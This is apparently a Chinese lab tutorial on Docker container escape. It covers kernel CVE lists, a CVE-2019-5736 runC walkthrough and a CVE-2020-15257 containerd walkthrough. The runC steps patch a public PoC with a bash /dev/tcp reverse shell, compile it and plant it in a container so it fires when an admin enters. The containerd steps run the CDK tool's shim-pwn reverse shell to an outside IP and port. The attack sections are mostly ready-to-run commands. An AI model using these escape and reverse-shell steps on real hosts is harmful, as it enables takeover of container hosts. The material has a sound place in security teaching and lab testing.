云原生-Docker安全-容器逃逸&系统内核漏洞(解决docker.com无法访问)

云原生-Docker安全-容器逃逸&系统内核漏洞

细节部分在权限提升章节会详解,常用:

CVE-2016-5195 CVE-2019-16884 CVE-2021-3493

CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222

云原生-Docker安全-容器逃逸&docker版本漏洞

CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

影响版本:

Docker version <= 18.09.2

RunC version <= 1.0-rc6

1、安装docker对应版本

apt-get update

apt-get install -y apt-transport-https ca-certificates curl software-properties-common

curl -fsSL https://mirrors.tencentyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

sudo add-apt-repository "deb [arch=amd64] https://mirrors.tencentyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"

apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

docker --version

2、启动靶场环境测试

docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

docker ps
docker exec -it 1f1532ed764b /bin/bash
ls -la /

3、编译修改后EXP后等待管理员进入容器执行

GitHub - Frichetten/CVE-2019-5736-PoC: PoC for CVE-2019-5736PoC for CVE-2019-5736. Contribute to Frichetten/CVE-2019-5736-PoC development by creating an account on GitHub.https://github.com/Frichetten/CVE-2019-5736-PoC

bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

修改完毕后,要把这个main.go编译成main文件

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

docker cp main c58ad026dad2:/

chmod 777 main

等待

管理员进入

docker exec -it 1f1532ed764b /bin/bash

上线成功了

4、实验获取云服务器上docker搭建的Web权限后进行逃逸

docker run -it -p 8888:8080 vulhub/struts2:s2-053

环境安装失败

CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

影响版本:

containerd < 1.4.3

containerd < 1.3.9

1、安装docker对应版本

apt-get update

安装必要依赖

apt-get install apt-transport-https ca-certificates curl software-properties-common

配置阿里源加速

curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

增加仓库

add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"

更新缓存

apt-get update

apt-cache madison docker-ce

apt-get install -y docker-ce=5:19.03.7~3-0~ubuntu-xenial docker-ce-cli=5:19.03.7~3-0~ubuntu-xenial containerd.io=1.2.4-1

docker version

2、启动环境测试:

docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
docker exec -it 0e3f3d63e5da /bin/bash

3、上传CDK工具自动逃逸反弹

docker cp cdk_linux_amd64 0e3f3d63e5da:/tmp

chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse 111.230.109.74 5566 //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描

相关推荐
淡水猫.4 分钟前
ApacheSuperset CVE-2023-27524
安全·web安全
恰薯条的屑海鸥30 分钟前
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
网络·学习·安全·web安全·渗透测试·csrf·网络安全学习
Bruce_Liuxiaowei39 分钟前
Web安全深度解析:源码泄漏与未授权访问漏洞全指南
安全·web安全
代码搬运媛1 小时前
React 中 HTML 插入的全场景实践与安全指南
安全·react.js·html
藥瓿亭2 小时前
K8S认证|CKS题库+答案| 5.日志审计
linux·运维·docker·云原生·容器·kubernetes·cka
David爱编程2 小时前
Docker 存储卷详解:数据持久化的正确打开方式
后端·docker·容器
Bruce_Liuxiaowei2 小时前
PHP文件包含漏洞详解:原理、利用与防御
开发语言·网络安全·php·文件包含
藥瓿锻3 小时前
2024 CKA题库+详尽解析| 15、备份还原Etcd
linux·运维·数据库·docker·容器·kubernetes·cka
2501_915106323 小时前
Flutter、React Native 项目如何搞定 iOS 上架?从构建 IPA 到上传 App Store 的实战流程全解析
websocket·网络协议·tcp/ip·http·网络安全·https·udp
珹洺3 小时前
数据库系统概论(十七)超详细讲解数据库规范化与五大范式(从函数依赖到多值依赖,再到五大范式,附带例题,表格,知识图谱对比带你一步步掌握)
java·数据库·sql·安全·oracle